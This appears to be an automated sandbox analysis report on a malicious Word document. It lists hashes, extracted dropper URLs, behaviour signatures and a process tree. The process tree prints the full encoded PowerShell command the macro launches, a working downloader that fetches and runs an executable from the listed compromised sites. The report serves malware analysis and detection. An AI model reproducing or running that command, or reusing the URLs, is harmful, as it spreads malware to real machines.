Analysis

  • max time kernel
    100s
  • max time network
    38s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-09-2024 03:31

General

  • Target

    f777dc6fc518832307d3a3818ee6e90d_JaffaCakes118.doc

  • Size

    201KB

  • MD5

    f777dc6fc518832307d3a3818ee6e90d

  • SHA1

    56fe08706cd9054da2dd36c3216b456c4d557d08

  • SHA256

    00d2206a0492af4e5ca8c9d8b67dc673e53caab5243f9104ccb7dd7248462a37

  • SHA512

    6d081b60506563aa1fa0571c9491996f9b9ca4ecf87ea5ebfc2637c2621a369b3536670fbba0e5846de274a7c971e64e7cd78a7bbb2bbbfeb5a192cf1402a880

  • SSDEEP

    3072:dUqJ1NgsA8k/gvh0NZ0lGX1nZ7ZFpSgKsiEHE+b64JM:dBtgVIveNZvnjzKjEkc6cM

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://bavhome.com/wp-content/td/

exe.dropper

http://hercinovic.com/cgi-bin/mZt/

exe.dropper

https://jeffdahlke.com/css/3u/

exe.dropper

http://calledtochange.org/CalledtoChange/V/

exe.dropper

http://daoisthealing.com/cgi-bin/c/

exe.dropper

https://scyzm.net/wp-content/j/

exe.dropper

http://www.bismarjeparamebel.com/u/pCp/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 13 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f777dc6fc518832307d3a3818ee6e90d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2088
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:360
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD JABCADYAdAAwAGcAZwBnAD0AKAAoACcAUABhACcAKwAnAHcAcABnACcAKwAnAHYAJwApACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBwAFIAbwBGAGkATABlAFwAeABfAHgANQBWAFoAcgBcAEYAOABCAFkAZQBhAE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAYABVAGAAUgBpAHQAeQBgAHAAcgBvAHQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACsAJwAsACcAKQArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABIAHUAcgBwAGgAdwBpACAAPQAgACgAKAAnAFkAeQAnACsAJwB4ACcAKQArACcAbgBvACcAKwAnADMAJwApADsAJABMAGIAagB5ADAAZAAxAD0AKAAoACcARwBnAHgAJwArACcAbgAnACkAKwAoACcAbQBkACcAKwAnAGoAJwApACkAOwAkAEQAcwA2ADcANgBlAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AWABfAHgAJwArACcANQB2AHoAcgB7ADAAfQBGACcAKwAnADgAYgB5AGUAYQBvAHsAMAB9ACcAKQAgACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABIAHUAcgBwAGgAdwBpACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUwA1ADMAaQB1AGMAYwA9ACgAJwBQACcAKwAnADcANgAnACsAKAAnADEAJwArACcAcQBuAGIAJwApACkAOwAkAFYAeQBlAHkAcgBiAGMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAGIAYwBsAEkAZQBOAFQAOwAkAFoAXwBoADcAXwB4AGEAPQAoACgAJwBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAYQB2AGgAJwApACsAKAAnAG8AJwArACcAbQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0AC8AJwArACcAdAAnACkAKwAnAGQAJwArACcALwAqACcAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBoAGUAJwArACcAcgBjAGkAbgBvAHYAJwArACcAaQBjACcAKwAnAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYwBnACcAKwAnAGkALQBiACcAKwAnAGkAbgAvACcAKQArACcAbQAnACsAKAAnAFoAdAAnACsAJwAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAnACkAKwAnAC8AagAnACsAKAAnAGUAJwArACcAZgBmACcAKQArACcAZAAnACsAKAAnAGEAJwArACcAaABsACcAKQArACgAJwBrAGUAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0ALwBjAHMAJwArACcAcwAnACkAKwAnAC8AMwAnACsAKAAnAHUALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAbAAnACkAKwAoACcAbAAnACsAJwBlAGQAJwApACsAKAAnAHQAbwAnACsAJwBjAGgAYQBuACcAKwAnAGcAZQAuAG8AJwApACsAJwByACcAKwAnAGcAJwArACgAJwAvAEMAYQAnACsAJwBsACcAKQArACcAbABlACcAKwAoACcAZAB0ACcAKwAnAG8AQwBoAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAC8AJwApACsAJwBWAC8AJwArACcAKgAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AJwApACsAJwBkAGEAJwArACgAJwBvAGkAcwB0ACcAKwAnAGgAZQBhACcAKQArACgAJwBsACcAKwAnAGkAbgBnAC4AYwBvAG0ALwAnACkAKwAnAGMAZwAnACsAKAAnAGkALQBiAGkAbgAnACsAJwAvAGMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AJwApACsAKAAnAHMAJwArACcAYwB5ACcAKQArACgAJwB6ACcAKwAnAG0ALgBuAGUAdAAnACsAJwAvACcAKQArACcAdwAnACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgAnACsAJwB0AGUAJwArACcAbgB0AC8AagAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAnACsAJwAvACcAKQArACgAJwAvAHcAJwArACcAdwAnACkAKwAoACcAdwAuACcAKwAnAGIAaQBzAG0AJwApACsAJwBhAHIAJwArACgAJwBqAGUAcABhAHIAYQAnACsAJwBtACcAKwAnAGUAJwArACcAYgBlAGwALgAnACsAJwBjAG8AbQAvAHUAJwApACsAKAAnAC8AJwArACcAcABDAHAAJwApACsAJwAvACcAKQAuACIAUwBgAHAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGcAZAA5ADgAdABpAD0AKAAoACcAVwAwACcAKwAnAG4AagAnACkAKwAoACcAdABoACcAKwAnAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGcAZgB1AG4AYQB3ACAAaQBuACAAJABaAF8AaAA3AF8AeABhACkAewB0AHIAeQB7ACQAVgB5AGUAeQByAGIAYwAuACIARABvAGAAVwBgAE4ATABPAEEAZABmAGkAYABMAEUAIgAoACQAVQBnAGYAdQBuAGEAdwAsACAAJABEAHMANgA3ADYAZQBvACkAOwAkAFIAbQA5AHUAdwB0AGUAPQAoACcAWgAnACsAJwA2ACcAKwAoACcAYwBjACcAKwAnAGkAYQB3ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEQAcwA2ADcANgBlAG8AKQAuACIATABgAGUATgBnAHQASAAiACAALQBnAGUAIAAzADcAOQA5ADEAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAoACQARABzADYANwA2AGUAbwApADsAJABFAGQAZwBfAG0AbwBoAD0AKAAnAEEAJwArACcAbgAnACsAKAAnAHcAMQAnACsAJwA0ADcAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVABiAGUAcAByADUAMgA9ACgAKAAnAFMAJwArACcAMABjACcAKQArACgAJwBxAGYAdAAnACsAJwA3ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGUAbQBlAHMAZABuAD0AKAAoACcAVAAwAHcAZgAnACsAJwBzACcAKQArACcAeQBnACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2588

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      c1c445642a50b19d3666485655ff8e6f

      SHA1

      a5d07a6cfdfbc93cf8b7628045e86edce4674480

      SHA256

      e2ce86e28039037c6093bdb24d6a6b4559b78edae68fa4c6f3fcd7066639ad82

      SHA512

      a3d35407220449f26d8777521662ae3ba6a25951f876890e5d06b1f596510633c987545ebe60e43da8e0a77ba53af339eb1abc9fbf9ae54e4a385b64184e9326

    • memory/2088-29-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-79-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2088-5-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-6-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-8-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-7-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-15-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-17-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-16-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-14-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-13-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-12-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-11-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-19-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-21-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-28-0x0000000005BF0000-0x0000000005CF0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-37-0x0000000005BF0000-0x0000000005CF0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-18-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-10-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-9-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-31-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-0-0x000000002F3B1000-0x000000002F3B2000-memory.dmp

      Filesize

      4KB

    • memory/2088-38-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-2-0x000000007328D000-0x0000000073298000-memory.dmp

      Filesize

      44KB

    • memory/2088-20-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-48-0x0000000005BF0000-0x0000000005CF0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-47-0x0000000005BF0000-0x0000000005CF0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-46-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-45-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-41-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-32-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-30-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-36-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-80-0x000000007328D000-0x0000000073298000-memory.dmp

      Filesize

      44KB

    • memory/2088-39-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-56-0x000000007328D000-0x0000000073298000-memory.dmp

      Filesize

      44KB

    • memory/2088-58-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-57-0x0000000005AC0000-0x0000000005BC0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-59-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-60-0x0000000005BF0000-0x0000000005CF0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-61-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-62-0x00000000003F0000-0x00000000004F0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-63-0x0000000005BF0000-0x0000000005CF0000-memory.dmp

      Filesize

      1024KB

    • memory/2088-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2588-55-0x00000000023E0000-0x00000000023E8000-memory.dmp

      Filesize

      32KB

    • memory/2588-54-0x000000001B2B0000-0x000000001B592000-memory.dmp

      Filesize

      2.9MB